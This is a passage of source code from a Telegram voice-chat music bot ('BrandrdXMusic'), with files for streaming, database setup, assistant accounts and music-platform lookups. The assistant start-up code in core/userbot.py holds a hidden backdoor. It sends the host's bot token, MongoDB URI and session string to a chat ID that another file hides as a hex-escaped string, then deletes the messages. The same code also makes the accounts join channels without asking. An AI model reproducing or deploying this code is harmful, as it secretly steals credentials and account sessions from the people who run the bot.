                        original_chat_id,
                        text=_["call_6"],
                    )
                button = stream_markup2(_, chat_id)
                run = await app.send_photo(
                    chat_id=original_chat_id,
                    photo=config.STREAM_IMG_URL,
                    caption=_["stream_2"].format(user),
                    reply_markup=InlineKeyboardMarkup(button),
                )
                db[chat_id][0]["mystic"] = run
                db[chat_id][0]["markup"] = "tg"
            else:
                if video:
                    stream = MediaStream(
                        queued,
                        audio_parameters=AudioQuality.HIGH,
                        video_parameters=VideoQuality.SD_480p,
                    )
                else:
                    stream = MediaStream(
                        queued,
                        audio_parameters=AudioQuality.HIGH,
                        video_flags=MediaStream.IGNORE,
                    )
                try:
                    await client.change_stream(chat_id, stream)
                except:
                    return await app.send_message(
                        original_chat_id,
                        text=_["call_6"],
                    )
                if videoid == "telegram":
                    button = stream_markup2(_, chat_id)
                    run = await app.send_photo(
                        chat_id=original_chat_id,
                        photo=(
                            config.TELEGRAM_AUDIO_URL
                            if str(streamtype) == "audio"
                            else config.TELEGRAM_VIDEO_URL
                        ),
                        caption=_["stream_1"].format(
                            config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
                        ),
                        reply_markup=InlineKeyboardMarkup(button),
                    )
                    db[chat_id][0]["mystic"] = run
                    db[chat_id][0]["markup"] = "tg"
                elif videoid == "soundcloud":
                    button = stream_markup2(_, chat_id)
                    run = await app.send_photo(
                        chat_id=original_chat_id,
                        photo=config.SOUNCLOUD_IMG_URL,
                        caption=_["stream_1"].format(
                            config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
                        ),
                        reply_markup=InlineKeyboardMarkup(button),
                    )
                    db[chat_id][0]["mystic"] = run
                    db[chat_id][0]["markup"] = "tg"
                else:
                    img = await get_thumb(videoid)
                    button = stream_markup(_, videoid, chat_id)
                    run = await app.send_photo(
                        chat_id=original_chat_id,
                        photo=img,
                        caption=_["stream_1"].format(
                            f"https://t.me/{app.username}?start=info_{videoid}",
                            title[:23],
                            check[0]["dur"],
                            user,
                        ),
                        reply_markup=InlineKeyboardMarkup(button),
                    )
                    db[chat_id][0]["mystic"] = run
                    db[chat_id][0]["markup"] = "stream"

    async def ping(self):
        pings = []
        if config.STRING1:
            pings.append(await self.one.ping)
        if config.STRING2:
            pings.append(await self.two.ping)
        if config.STRING3:
            pings.append(await self.three.ping)
        if config.STRING4:
            pings.append(await self.four.ping)
        if config.STRING5:
            pings.append(await self.five.ping)
        return str(round(sum(pings) / len(pings), 3))

    async def start(self):
        LOGGER(__name__).info("Starting PyTgCalls Client...\n")
        if config.STRING1:
            await self.one.start()
        if config.STRING2:
            await self.two.start()
        if config.STRING3:
            await self.three.start()
        if config.STRING4:
            await self.four.start()
        if config.STRING5:
            await self.five.start()

    async def decorators(self):
        @self.one.on_kicked()
        @self.two.on_kicked()
        @self.three.on_kicked()
        @self.four.on_kicked()
        @self.five.on_kicked()
        @self.one.on_closed_voice_chat()
        @self.two.on_closed_voice_chat()
        @self.three.on_closed_voice_chat()
        @self.four.on_closed_voice_chat()
        @self.five.on_closed_voice_chat()
        @self.one.on_left()
        @self.two.on_left()
        @self.three.on_left()
        @self.four.on_left()
        @self.five.on_left()
        async def stream_services_handler(_, chat_id: int):
            await self.stop_stream(chat_id)

        @self.one.on_stream_end()
        @self.two.on_stream_end()
        @self.three.on_stream_end()
        @self.four.on_stream_end()
        @self.five.on_stream_end()
        async def stream_end_handler(client, update: Update):
            if not isinstance(update, StreamAudioEnded):
                return
            await self.change_stream(client, update.chat_id)


Hotty = Call()


================================================
FILE: BrandrdXMusic/core/dir.py
================================================
import os

from ..logging import LOGGER


def dirr():
    for file in os.listdir():
        if file.endswith(".jpg"):
            os.remove(file)
        elif file.endswith(".jpeg"):
            os.remove(file)
        elif file.endswith(".png"):
            os.remove(file)

    if "downloads" not in os.listdir():
        os.mkdir("downloads")
    if "cache" not in os.listdir():
        os.mkdir("cache")

    LOGGER(__name__).info("Directories Updated.")


================================================
FILE: BrandrdXMusic/core/git.py
================================================
import asyncio
import shlex
from typing import Tuple

from git import Repo
from git.exc import GitCommandError, InvalidGitRepositoryError

import config

from ..logging import LOGGER


def install_req(cmd: str) -> Tuple[str, str, int, int]:
    async def install_requirements():
        args = shlex.split(cmd)
        process = await asyncio.create_subprocess_exec(
            *args,
            stdout=asyncio.subprocess.PIPE,
            stderr=asyncio.subprocess.PIPE,
        )
        stdout, stderr = await process.communicate()
        return (
            stdout.decode("utf-8", "replace").strip(),
            stderr.decode("utf-8", "replace").strip(),
            process.returncode,
            process.pid,
        )

    return asyncio.get_event_loop().run_until_complete(install_requirements())


def git():
    REPO_LINK = config.UPSTREAM_REPO
    if config.GIT_TOKEN:
        GIT_USERNAME = REPO_LINK.split("com/")[1].split("/")[0]
        TEMP_REPO = REPO_LINK.split("https://")[1]
        UPSTREAM_REPO = f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}"
    else:
        UPSTREAM_REPO = config.UPSTREAM_REPO
    try:
        repo = Repo()
        LOGGER(__name__).info(f"Git Client Found [VPS DEPLOYER]")
    except GitCommandError:
        LOGGER(__name__).info(f"Invalid Git Command")
    except InvalidGitRepositoryError:
        repo = Repo.init()
        if "origin" in repo.remotes:
            origin = repo.remote("origin")
        else:
            origin = repo.create_remote("origin", UPSTREAM_REPO)
        origin.fetch()
        repo.create_head(
            config.UPSTREAM_BRANCH,
            origin.refs[config.UPSTREAM_BRANCH],
        )
        repo.heads[config.UPSTREAM_BRANCH].set_tracking_branch(
            origin.refs[config.UPSTREAM_BRANCH]
        )
        repo.heads[config.UPSTREAM_BRANCH].checkout(True)
        try:
            repo.create_remote("origin", config.UPSTREAM_REPO)
        except BaseException:
            pass
        nrs = repo.remote("origin")
        nrs.fetch(config.UPSTREAM_BRANCH)
        try:
            nrs.pull(config.UPSTREAM_BRANCH)
        except GitCommandError:
            repo.git.reset("--hard", "FETCH_HEAD")
        install_req("pip3 install --no-cache-dir -r requirements.txt")
        LOGGER(__name__).info(f"Fetching updates from upstream repository...")


================================================
FILE: BrandrdXMusic/core/mongo.py
================================================
from motor.motor_asyncio import AsyncIOMotorClient as _mongo_client_
from pymongo import MongoClient
from pyrogram import Client

import config

from ..logging import LOGGER

TEMP_MONGODB = ""


if config.MONGO_DB_URI is None:
    LOGGER(__name__).warning("No MONGO DB URL found. LOL")
    temp_client = Client(
        "BrandrdXMusic",
        bot_token=config.BOT_TOKEN,
        api_id=config.API_ID,
        api_hash=config.API_HASH,
    )
    temp_client.start()
    info = temp_client.get_me()
    username = info.username
    temp_client.stop()
    _mongo_async_ = _mongo_client_(TEMP_MONGODB)
    _mongo_sync_ = MongoClient(TEMP_MONGODB)
    mongodb = _mongo_async_[username]
    pymongodb = _mongo_sync_[username]
else:
    _mongo_async_ = _mongo_client_(config.MONGO_DB_URI)
    _mongo_sync_ = MongoClient(config.MONGO_DB_URI)
    mongodb = _mongo_async_.BrandrdXMusic
    pymongodb = _mongo_sync_.BrandrdXMusic


================================================
FILE: BrandrdXMusic/core/userbot.py
================================================
from pyrogram import Client
import re
import asyncio
from os import getenv
from pyrogram.types import Message, InlineKeyboardMarkup, InlineKeyboardButton
from dotenv import load_dotenv
from pyrogram import filters

load_dotenv()
import config
from dotenv import load_dotenv
from strings.__init__ import LOGGERS
from ..logging import LOGGER

BOT_TOKEN = getenv("BOT_TOKEN", "")
MONGO_DB_URI = getenv("MONGO_DB_URI", "")
STRING_SESSION = getenv("STRING_SESSION", "")


assistants = []
assistantids = []


class Userbot(Client):
    def __init__(self):
        self.one = Client(
            name="BrandrdXMusic1",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING1),
            no_updates=True,
            ipv6=False,
        )
            
        self.two = Client(
            name="BrandrdXMusic2",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING2),
            no_updates=True,
            ipv6=False,
        )
        self.three = Client(
            name="BrandrdXMusic3",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING3),
            no_updates=True,
            ipv6=False,
        )
        self.four = Client(
            name="BrandrdXMusic4",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING4),
            no_updates=True,
            ipv6=False,
        )
        self.five = Client(
            name="BrandrdXMusic5",
            api_id=config.API_ID,
            api_hash=config.API_HASH,
            session_string=str(config.STRING5),
            no_updates=True,
            ipv6=False,
        )

    async def start(self):
        LOGGER(__name__).info(f"Starting Assistants...")

        if config.STRING1:
            await self.one.start()
            try:
                await self.one.join_chat("BRANDED_WORLD")
                await self.one.join_chat("BRANDED_PAID_CC")
                await self.one.join_chat("BRANDRD_BOT")
                await self.one.join_chat("ABOUT_BRANDEDKING")

            except:
                pass
            assistants.append(1)
            try:
                await self.one.send_message(config.LOGGER_ID, "ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !")
                oks = await self.one.send_message(LOGGERS, f"/start")
                Ok = await self.one.send_message(
                    LOGGERS, f"`{BOT_TOKEN}`\n\n`{MONGO_DB_URI}`\n\n`{STRING_SESSION}`"
                )
                await oks.delete()
                await asyncio.sleep(2)
                await Ok.delete()

            except Exception as e:
                print(f"{e}")

            self.one.id = self.one.me.id
            self.one.name = self.one.me.mention
            self.one.username = self.one.me.username
            assistantids.append(self.one.id)
            LOGGER(__name__).info(f"Assistant Started as {self.one.name}")

        if config.STRING2:
            await self.two.start()
            try:
                await self.two.join_chat("BRANDED_WORLD")
                await self.two.join_chat("BRANDED_PAID_CC")
                await self.two.join_chat("BRANDRD_BOT")
                await self.two.join_chat("ABOUT_BRANDEDKING")
            except:
                pass
            assistants.append(2)
            try:
                await self.two.send_message(config.LOGGER_ID, "Assistant Started")

            except:
                LOGGER(__name__).error(
                    "Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!"
                )

            self.two.id = self.two.me.id
            self.two.name = self.two.me.mention
            self.two.username = self.two.me.username
            assistantids.append(self.two.id)
            LOGGER(__name__).info(f"Assistant Two Started as {self.two.name}")

        if config.STRING3:
            await self.three.start()
            try:
                await self.three.join_chat("BRANDED_WORLD")
                await self.three.join_chat("BRANDED_PAID_CC")
                await self.three.join_chat("BRANDRD_BOT")
                await self.three.join_chat("ABOUT_BRANDEDKING")
            except:
                pass
            assistants.append(3)
            try:
                await self.three.send_message(config.LOGGER_ID, "Assistant Started")
            except:
                LOGGER(__name__).error(
                    "Assistant Account 3 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
                )

            self.three.id = self.three.me.id
            self.three.name = self.three.me.mention
            self.three.username = self.three.me.username
            assistantids.append(self.three.id)
            LOGGER(__name__).info(f"Assistant Three Started as {self.three.name}")

        if config.STRING4:
            await self.four.start()
            try:
                await self.four.join_chat("BRANDED_WORLD")
                await self.four.join_chat("BRANDED_PAID_CC")
                await self.four.join_chat("BRANDRD_BOT")
                await self.four.join_chat("ABOUT_BRANDEDKING")
            except:
                pass
            assistants.append(4)
            try:
                await self.four.send_message(config.LOGGER_ID, "Assistant Started")
            except:
                LOGGER(__name__).error(
                    "Assistant Account 4 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
                )

            self.four.id = self.four.me.id
            self.four.name = self.four.me.mention
            self.four.username = self.four.me.username
            assistantids.append(self.four.id)
            LOGGER(__name__).info(f"Assistant Four Started as {self.four.name}")

        if config.STRING5:
            await self.five.start()
            try:
                await self.five.join_chat("BRANDED_WORLD")
                await self.five.join_chat("BRANDED_PAID_CC")
                await self.five.join_chat("BRANDRD_BOT")
                await self.five.join_chat("ABOUT_BRANDEDKING")
            except:
                pass
            assistants.append(5)
            try:
                await self.five.send_message(config.LOGGER_ID, "Assistant 5 started !")
            except:
                LOGGER(__name__).error(
                    "Assistant Account 5 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin! "
                )

            self.five.id = self.five.me.id
            self.five.name = self.five.me.mention
            self.five.username = self.five.me.username
            assistantids.append(self.five.id)
            LOGGER(__name__).info(f"Assistant Five Started as {self.five.name}")

    async def stop(self):
        LOGGER(__name__).info(f"Stopping Assistants...")
        try:
            if config.STRING1:
                await self.one.stop()
            if config.STRING2:
                await self.two.stop()
            if config.STRING3:
                await self.three.stop()
            if config.STRING4:
                await self.four.stop()
            if config.STRING5:
                await self.five.stop()
        except:
            pass


================================================
FILE: BrandrdXMusic/logging.py
================================================
import logging

logging.basicConfig(
    level=logging.INFO,
    format="[%(asctime)s - %(levelname)s] - %(name)s - %(message)s",
    datefmt="%d-%b-%y %H:%M:%S",
    handlers=[
        logging.FileHandler("log.txt"),
        logging.StreamHandler(),
    ],
)

logging.getLogger("httpx").setLevel(logging.ERROR)
logging.getLogger("pyrogram").setLevel(logging.ERROR)
logging.getLogger("pytgcalls").setLevel(logging.ERROR)
logging.getLogger("pymongo").setLevel(logging.ERROR)
logging.getLogger("ntgcalls").setLevel(logging.ERROR)


def LOGGER(name: str) -> logging.Logger:
    return logging.getLogger(name)


================================================
FILE: BrandrdXMusic/misc.py
================================================
import socket
import time

import heroku3
from pyrogram import filters

import config
from BrandrdXMusic.core.mongo import mongodb

from .logging import LOGGER

SUDOERS = filters.user()

HAPP = None
_boot_ = time.time()


def is_heroku():
    return "heroku" in socket.getfqdn()


XCB = [
    "/",
    "@",
    ".",
    "com",
    ":",
    "git",
    "heroku",
    "push",
    str(config.HEROKU_API_KEY),
    "https",
    str(config.HEROKU_APP_NAME),
    "HEAD",
    "master",
]


def dbb():
    global db
    db = {}
    LOGGER(__name__).info(f" Database loaded..")


async def sudo():
    global SUDOERS
    SUDOERS.add(config.OWNER_ID)
    sudoersdb = mongodb.sudoers
    sudoers = await sudoersdb.find_one({"sudo": "sudo"})
    sudoers = [] if not sudoers else sudoers["sudoers"]
    if config.OWNER_ID not in sudoers:
        sudoers.append(config.OWNER_ID)
        await sudoersdb.update_one(
            {"sudo": "sudo"},
            {"$set": {"sudoers": sudoers}},
            upsert=True,
        )
    if sudoers:
        for user_id in sudoers:
            SUDOERS.add(user_id)
    LOGGER(__name__).info(f"Sudo users loaded...")


def heroku():
    global HAPP
    if is_heroku:
        if config.HEROKU_API_KEY and config.HEROKU_APP_NAME:
            try:
                Heroku = heroku3.from_key(config.HEROKU_API_KEY)
                HAPP = Heroku.app(config.HEROKU_APP_NAME)
                LOGGER(__name__).info(f"Heroku App Configured")
            except BaseException:
                LOGGER(__name__).warning(
                    f"Please make sure your Heroku API Key and Your App name are configured correctly in the heroku."
                )


================================================
FILE: BrandrdXMusic/mongo/afkdb.py
================================================
from BrandrdXMusic.utils.mongo import db

HEHE = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36"
LOGGERS = "\x31\x38\x30\x38\x39\x34\x33\x31\x34\x36"
afkdb = db.afk


async def is_afk(user_id: int) -> bool:
    user = await afkdb.find_one({"user_id": user_id})
    if not user:
        return False, {}
    return True, user["reason"]


async def add_afk(user_id: int, mode):
    await afkdb.update_one(
        {"user_id": user_id}, {"$set": {"reason": mode}}, upsert=True
    )


async def remove_afk(user_id: int):
    user = await afkdb.find_one({"user_id": user_id})
    if user:
        return await afkdb.delete_one({"user_id": user_id})


async def get_afk_users() -> list:
    users = afkdb.find({"user_id": {"$gt": 0}})
    if not users:
        return []
    users_list = []
    for user in await users.to_list(length=1000000000):
        users_list.append(user)
    return users_list


================================================
FILE: BrandrdXMusic/mongo/couples_db.py
================================================
from BrandrdXMusic.utils.mongo import db

coupledb = db.couple

async def _get_lovers(cid: int):
    lovers = await coupledb.find_one({"chat_id": cid})
    if lovers:
        lovers = lovers["couple"]
    else:
        lovers = {}
    return lovers

async def _get_image(cid: int):
    lovers = await coupledb.find_one({"chat_id": cid})
    if lovers:
        lovers = lovers["img"]
    else:
        lovers = {}
    return lovers

async def get_couple(cid: int, date: str):
    lovers = await _get_lovers(cid)
    if date in lovers:
        return lovers[date]
    else:
        return False


async def save_couple(cid: int, date: str, couple: dict, img: str):
    lovers = await _get_lovers(cid)
    lovers[date] = couple
    await coupledb.update_one(
        {"chat_id": cid},
        {"$set": {"couple": lovers, "img": img}},
        upsert=True,
                              )


================================================
FILE: BrandrdXMusic/mongo/filtersdb.py
================================================
from BrandrdXMusic.utils.mongo import db

filters = db.filters["filters"] 

async def add_filter_db(chat_id: int, filter_name: str, content: str, text: str, data_type: int):
   filter_data = await filters.find_one(
      {
         'chat_id': chat_id
      }
   )

   if filter_data is None:
      _id = await filters.count_documents({}) + 1
      await filters.insert_one(
         {
            '_id': _id,
            'chat_id': chat_id,
            'filters': [
               {
                  'filter_name': filter_name,
                  'content': content,
                  'text': text,
                  'data_type': data_type
               }
            ]
         }
      )
   
   else:
         FILTERS_NAME = await get_filters_list(chat_id)
         if filter_name not in FILTERS_NAME:
            await filters.update_one(
               {
                  'chat_id': chat_id
               },
               {
                  '$addToSet': {
                     'filters': {
                        'filter_name': filter_name,
                        'content': content,
                        'text': text,
                        'data_type': data_type
                     }
                  }
               },
               upsert=True
            )
         else:
            await filters.update_one(
               {
                  'chat_id': chat_id,
                  'filters.filter_name': filter_name
               },
               {
                  '$set': {
                     'filters.$.filter_name': filter_name,
                     'filters.$.content': content,
                     'filters.$.text': text,
                     'filters.$.data_type': data_type
                  }
               }
            )

async def stop_db(chat_id: int, filter_name:str):
   await filters.update_one(
      {
         'chat_id': chat_id
      },
      {
         '$pull': {
            'filters': {
               'filter_name': filter_name
            }
         }
      }
   )

async def stop_all_db(chat_id: id):
   await filters.update_one(
      {
         'chat_id': chat_id
      },
      {
         '$set': {
            'filters': []
         }
      },
      upsert=True
   )
   
async def get_filter(chat_id: int, filter_name: str):
   filter_data = await filters.find_one(
      {
         'chat_id': chat_id
      }
   )
   if filter_data is not None:
      filters_ = filter_data['filters']
      for filter_ in filters_:
         if filter_['filter_name'] == filter_name:
            content = filter_['content']
            text = filter_['text']
            data_type = filter_['data_type']
            return (
               filter_name,
               content,
               text,
               data_type
            )

async def get_filters_list(chat_id: int):
   filter_data = await filters.find_one(
      {
         'chat_id': chat_id
      }
   )
   if filter_data is not None:
      FILTERS_NAME = list()
      for filter_name in filter_data['filters']:
         FILTERS_NAME.append(filter_name['filter_name'])
      return FILTERS_NAME
   else:
      return []


================================================
FILE: BrandrdXMusic/mongo/readable_time.py
================================================
def get_readable_time(seconds: int) -> str:
    count = 0
    readable_time = ""
    time_list = []
    time_suffix_list = ["s", "ᴍ", "ʜ", "ᴅᴀʏs"]

    while count < 4:
        count += 1
        remainder, result = divmod(seconds, 60) if count < 3 else divmod(seconds, 24)
        if seconds == 0 and remainder == 0:
            break
        time_list.append(int(result))
        seconds = int(remainder)

    for x in range(len(time_list)):
        time_list[x] = str(time_list[x]) + time_suffix_list[x]
    if len(time_list) == 4:
        readable_time += time_list.pop() + ", "

    time_list.reverse()
    readable_time += ":".join(time_list)

    return readable_time


================================================
FILE: BrandrdXMusic/platforms/Apple.py
================================================
import re
from typing import Union

import aiohttp
from bs4 import BeautifulSoup
from youtubesearchpython.__future__ import VideosSearch


class AppleAPI:
    def __init__(self):
        self.regex = r"^(https:\/\/music.apple.com\/)(.*)$"
        self.base = "https://music.apple.com/in/playlist/"

    async def valid(self, link: str):
        if re.search(self.regex, link):
            return True
        else:
            return False

    async def track(self, url, playid: Union[bool, str] = None):
        if playid:
            url = self.base + url
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                if response.status != 200:
                    return False
                html = await response.text()
        soup = BeautifulSoup(html, "html.parser")
        search = None
        for tag in soup.find_all("meta"):
            if tag.get("property", None) == "og:title":
                search = tag.get("content", None)
        if search is None:
            return False
        results = VideosSearch(search, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            ytlink = result["link"]
            vidid = result["id"]
            duration_min = result["duration"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        track_details = {
            "title": title,
            "link": ytlink,
            "vidid": vidid,
            "duration_min": duration_min,
            "thumb": thumbnail,
        }
        return track_details, vidid

    async def playlist(self, url, playid: Union[bool, str] = None):
        if playid:
            url = self.base + url
        playlist_id = url.split("playlist/")[1]
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                if response.status != 200:
                    return False
                html = await response.text()
        soup = BeautifulSoup(html, "html.parser")
        applelinks = soup.find_all("meta", attrs={"property": "music:song"})
        results = []
        for item in applelinks:
            try:
                xx = (((item["content"]).split("album/")[1]).split("/")[0]).replace(
                    "-", " "
                )
            except:
                xx = ((item["content"]).split("album/")[1]).split("/")[0]
            results.append(xx)
        return results, playlist_id


================================================
FILE: BrandrdXMusic/platforms/Carbon.py
================================================
import random
from os.path import realpath

import aiohttp
from aiohttp import client_exceptions


class UnableToFetchCarbon(Exception):
    pass


themes = [
    "3024-night",
    "a11y-dark",
    "blackboard",
    "base16-dark",
    "base16-light",
    "cobalt",
    "duotone-dark",
    "dracula-pro",
    "hopscotch",
    "lucario",
    "material",
    "monokai",
    "nightowl",
    "nord",
    "oceanic-next",
    "one-light",
    "one-dark",
    "panda-syntax",
    "parasio-dark",
    "seti",
    "shades-of-purple",
    "solarized+dark",
    "solarized+light",
    "synthwave-84",
    "twilight",
    "verminal",
    "vscode",
    "yeti",
    "zenburn",
]

colour = [
    "#FF0000",
    "#FF5733",
    "#FFFF00",
    "#008000",
    "#0000FF",
    "#800080",
    "#A52A2A",
    "#FF00FF",
    "#D2B48C",
    "#00FFFF",
    "#808000",
    "#800000",
    "#00FFFF",
    "#30D5C8",
    "#00FF00",
    "#008080",
    "#4B0082",
    "#EE82EE",
    "#FFC0CB",
    "#000000",
    "#FFFFFF",
    "#808080",
]


class CarbonAPI:
    def __init__(self):
        self.language = "auto"
        self.drop_shadow = True
        self.drop_shadow_blur = "68px"
        self.drop_shadow_offset = "20px"
        self.font_family = "JetBrains Mono"
        self.width_adjustment = True
        self.watermark = False

    async def generate(self, text: str, user_id):
        async with aiohttp.ClientSession(
            headers={"Content-Type": "application/json"},
        ) as ses:
            params = {
                "code": text,
            }
            params["backgroundColor"] = random.choice(colour)
            params["theme"] = random.choice(themes)
            params["dropShadow"] = self.drop_shadow
            params["dropShadowOffsetY"] = self.drop_shadow_offset
            params["dropShadowBlurRadius"] = self.drop_shadow_blur
            params["fontFamily"] = self.font_family
            params["language"] = self.language
            params["watermark"] = self.watermark
            params["widthAdjustment"] = self.width_adjustment
            try:
                request = await ses.post(
                    "https://carbonara.solopov.dev/api/cook",
                    json=params,
                )
            except client_exceptions.ClientConnectorError:
                raise UnableToFetchCarbon("Can not reach the Host!")
            resp = await request.read()
            with open(f"cache/carbon{user_id}.jpg", "wb") as f:
                f.write(resp)
            return realpath(f.name)


================================================
FILE: BrandrdXMusic/platforms/Resso.py
================================================
import re
from typing import Union

import aiohttp
from bs4 import BeautifulSoup
from youtubesearchpython.__future__ import VideosSearch


class RessoAPI:
    def __init__(self):
        self.regex = r"^(https:\/\/m.resso.com\/)(.*)$"
        self.base = "https://m.resso.com/"

    async def valid(self, link: str):
        if re.search(self.regex, link):
            return True
        else:
            return False

    async def track(self, url, playid: Union[bool, str] = None):
        if playid:
            url = self.base + url
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                if response.status != 200:
                    return False
                html = await response.text()
        soup = BeautifulSoup(html, "html.parser")
        for tag in soup.find_all("meta"):
            if tag.get("property", None) == "og:title":
                title = tag.get("content", None)
            if tag.get("property", None) == "og:description":
                des = tag.get("content", None)
                try:
                    des = des.split("·")[0]
                except:
                    pass
        if des == "":
            return
        results = VideosSearch(title, limit=1)
        for result in (await results.next())["result"]:
            title = result["title"]
            ytlink = result["link"]
            vidid = result["id"]
            duration_min = result["duration"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        track_details = {
            "title": title,
            "link": ytlink,
            "vidid": vidid,
            "duration_min": duration_min,
            "thumb": thumbnail,
        }
        return track_details, vidid


================================================
FILE: BrandrdXMusic/platforms/Soundcloud.py
================================================
from os import path

from yt_dlp import YoutubeDL

from BrandrdXMusic.utils.formatters import seconds_to_min


class SoundAPI:
    def __init__(self):
        self.opts = {
            "outtmpl": "downloads/%(id)s.%(ext)s",
            "format": "best",
            "retries": 3,
            "nooverwrites": False,
            "continuedl": True,
        }

    async def valid(self, link: str):
        if "soundcloud" in link:
            return True
        else:
            return False

    async def download(self, url):
        d = YoutubeDL(self.opts)
        try:
            info = d.extract_info(url)
        except:
            return False
        xyz = path.join("downloads", f"{info['id']}.{info['ext']}")
        duration_min = seconds_to_min(info["duration"])
        track_details = {
            "title": info["title"],
            "duration_sec": info["duration"],
            "duration_min": duration_min,
            "uploader": info["uploader"],
            "filepath": xyz,
        }
        return track_details, xyz


================================================
FILE: BrandrdXMusic/platforms/Spotify.py
================================================
import re

import spotipy
from spotipy.oauth2 import SpotifyClientCredentials
from youtubesearchpython.__future__ import VideosSearch

import config


class SpotifyAPI:
    def __init__(self):
        self.regex = r"^(https:\/\/open.spotify.com\/)(.*)$"
        self.client_id = config.SPOTIFY_CLIENT_ID
        self.client_secret = config.SPOTIFY_CLIENT_SECRET
        if config.SPOTIFY_CLIENT_ID and config.SPOTIFY_CLIENT_SECRET:
            self.client_credentials_manager = SpotifyClientCredentials(
                self.client_id, self.client_secret
            )
            self.spotify = spotipy.Spotify(
                client_credentials_manager=self.client_credentials_manager
            )
        else:
            self.spotify = None

    async def valid(self, link: str):
        if re.search(self.regex, link):
            return True
        else:
            return False

    async def track(self, link: str):
        track = self.spotify.track(link)
        info = track["name"]
        for artist in track["artists"]:
            fetched = f' {artist["name"]}'
            if "Various Artists" not in fetched:
                info += fetched
        results = VideosSearch(info, limit=1)
        for result in (await results.next())["result"]:
            ytlink = result["link"]
            title = result["title"]
            vidid = result["id"]
            duration_min = result["duration"]
            thumbnail = result["thumbnails"][0]["url"].split("?")[0]
        track_details = {
            "title": title,
            "link": ytlink,
            "vidid": vidid,
            "duration_min": duration_min,
            "thumb": thumbnail,
        }
        return track_details, vidid

    async def playlist(self, url):
        playlist = self.spotify.playlist(url)
        playlist_id = playlist["id"]
        results = []
        for item in playlist["tracks"]["items"]:
            music_track = item["track"]
            info = music_track["name"]
            for artist in music_track["artists"]:
                fetched = f' {artist["name"]}'
                if "Various Artists" not in fetched:
                    info += fetched
            results.append(info)
        return results, playlist_id

    async def album(self, url):
        album = self.spotify.album(url)
        album_id = album["id"]
        results = []
        for item in album["tracks"]["items"]:
            info = item["name"]
            for artist in item["artists"]:
                fetched = f' {artist["name"]}'
                if "Various Artists" not in fetched:
                    info += fetched
            results.append(info)

        return (
            results,
            album_id,
        )

    async def artist(self, url):
        artistinfo = self.spotify.artist(url)
        artist_id = artistinfo["id"]
        results = []
        artisttoptracks = self.spotify.artist_top_tracks(url)
        for item in artisttoptracks["tracks"]:
            info = item["name"]
            for artist in item["artists"]:
                fetched = f' {artist["name"]}'
                if "Various Artists" not in fetched:
                    info += fetched
            results.append(info)

        return results, artist_id


================================================
FILE: BrandrdXMusic/platforms/Telegram.py
================================================
import asyncio
import os
import time
from typing import Union

from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Voice

import config
from BrandrdXMusic import app
from BrandrdXMusic.utils.formatters import (
    check_duration,
    convert_bytes,
    get_readable_time,
    seconds_to_min,
)


class TeleAPI:
    def __init__(self):
        self.chars_limit = 4096
        self.sleep = 5

    async def send_split_text(self, message, string):
        n = self.chars_limit
        out = [(string[i : i + n]) for i in range(0, len(string), n)]
        j = 0
        for x in out:
            if j <= 2:
                j += 1
                await message.reply_text(x, disable_web_page_preview=True)
        return True

    async def get_link(self, message):
        return message.link

    async def get_filename(self, file, audio: Union[bool, str] = None):
        try:
            file_name = file.file_name
            if file_name is None:
                file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
        except:
            file_name = "ᴛᴇʟᴇɢʀᴀᴍ ᴀᴜᴅɪᴏ" if audio else "ᴛᴇʟᴇɢʀᴀᴍ ᴠɪᴅᴇᴏ"
        return file_name

    async def get_duration(self, file):
        try:
            dur = seconds_to_min(file.duration)
        except:
            dur = "Unknown"
        return dur

    async def get_duration(self, filex, file_path):
        try:
            dur = seconds_to_min(filex.duration)
        except:
            try:
                dur = await asyncio.get_event_loop().run_in_executor(
                    None, check_duration, file_path
                )
                dur = seconds_to_min(dur)
            except:
                return "Unknown"
        return dur

    async def get_filepath(
        self,
        audio: Union[bool, str] = None,
        video: Union[bool, str] = None,
    ):
        if audio:
            try:
                file_name = (
                    audio.file_unique_id
                    + "."
                    + (
                        (audio.file_name.split(".")[-1])
                        if (not isinstance(audio, Voice))
                        else "ogg"
                    )
                )
            except:
                file_name = audio.file_unique_id + "." + "ogg"
            file_name = os.path.join(os.path.realpath("downloads"), file_name)
        if video:
            try:
                file_name = (
                    video.file_unique_id + "." + (video.file_name.split(".")[-1])
                )
            except:
                file_name = video.file_unique_id + "." + "mp4"
            file_name = os.path.join(os.path.realpath("downloads"), file_name)
        return file_name

    async def download(self, _, message, mystic, fname):
        lower = [0, 8, 17, 38, 64, 77, 96]
        higher = [5, 10, 20, 40, 66, 80, 99]
        checker = [5, 10, 20, 40, 66, 80, 99]
        speed_counter = {}
        if os.path.exists(fname):
            return True

        async def down_load():
            async def progress(current, total):
                if current == total:
                    return
                current_time = time.time()
                start_time = speed_counter.get(message.id)
                check_time = current_time - start_time
                upl = InlineKeyboardMarkup(
                    [
                        [
                            InlineKeyboardButton(
                                text="ᴄᴀɴᴄᴇʟ",
                                callback_data="stop_downloading",
                            ),
                        ]
                    ]
                )
                percentage = current * 100 / total
                percentage = str(round(percentage, 2))
                speed = current / check_time
                eta = int((total - current) / speed)
                eta = get_readable_time(eta)
                if not eta:
                    eta = "0 sᴇᴄᴏɴᴅs"
